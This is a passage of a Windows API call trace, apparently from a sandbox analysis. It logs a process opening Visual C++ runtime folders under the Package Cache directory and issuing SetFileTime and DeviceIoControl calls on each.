dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0257.353] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0257.353] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0257.354] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64" (normalized: "c:\\users\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\patch\\x64"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0257.355] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0257.355] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0257.397] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D" (normalized: "c:\\users\\all users\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c4 [0257.397] SetFileTime (hFile=0x1c4, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0257.398] DeviceIoControl (in: hDevice=0x1c4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0257.398] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages" (normalized: "c:\\users\\all users\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c4 [0257.398] SetFileTime (hFile=0x1c4, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0257.398] DeviceIoControl (in: hDevice=0x1c4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0257.444] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch" (normalized: "c:\\users\\all users\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\patch"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c4 [0257.444] SetFileTime (hFile=0x1c4, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0257.445] DeviceIoControl (in: hDevice=0x1c4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0257.445] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64" (normalized: "c:\\users\\all users\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\patch\\x64"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c4 [0257.445] SetFileTime (hFile=0x1c4, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0257.445] DeviceIoControl (in: hDevice=0x1c4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0257.491] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0257.491] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0257.491] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0257.526] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0257.526] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0257.526] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0257.527] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0257.527] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0257.527] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0257.527] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" (normalized: "c:\\users\\all users\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0257.527] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0257.527] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0257.532] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c0 [0257.532] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0257.532] DeviceIoControl (in: hDevice=0x1c0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0257.561] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c0 [0257.562] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0257.562] DeviceIoControl (in: hDevice=0x1c0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0257.562] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c0 [0257.562] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0257.562] DeviceIoControl (in: hDevice=0x1c0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0257.645] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}" (normalized: "c:\\users\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0257.645] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0257.645] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0257.659] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0257.660] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0257.660] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0257.711] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0257.712] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0257.712] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0257.712] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0257.712] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0257.712] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0257.713] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0257.714] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0257.714] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0257.714] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0257.714] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0257.714] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0257.728] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0257.729] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0257.729] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0257.737] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0257.737] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0257.738] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0257.787] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0257.787] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0257.788] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0257.788] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0257.788] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0257.788] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0257.811] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c0 [0257.811] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0257.811] DeviceIoControl (in: hDevice=0x1c0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0257.811] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c0 [0257.812] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0257.812] DeviceIoControl (in: hDevice=0x1c0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0257.812] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c0 [0257.812] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0257.812] DeviceIoControl (in: hDevice=0x1c0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0257.822] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0257.822] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0257.823] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0257.823] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0257.823] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0257.823] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0257.823] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0257.824] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0257.824] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0257.853] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0257.853] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0257.853] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0257.884] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0257.884] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0257.884] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 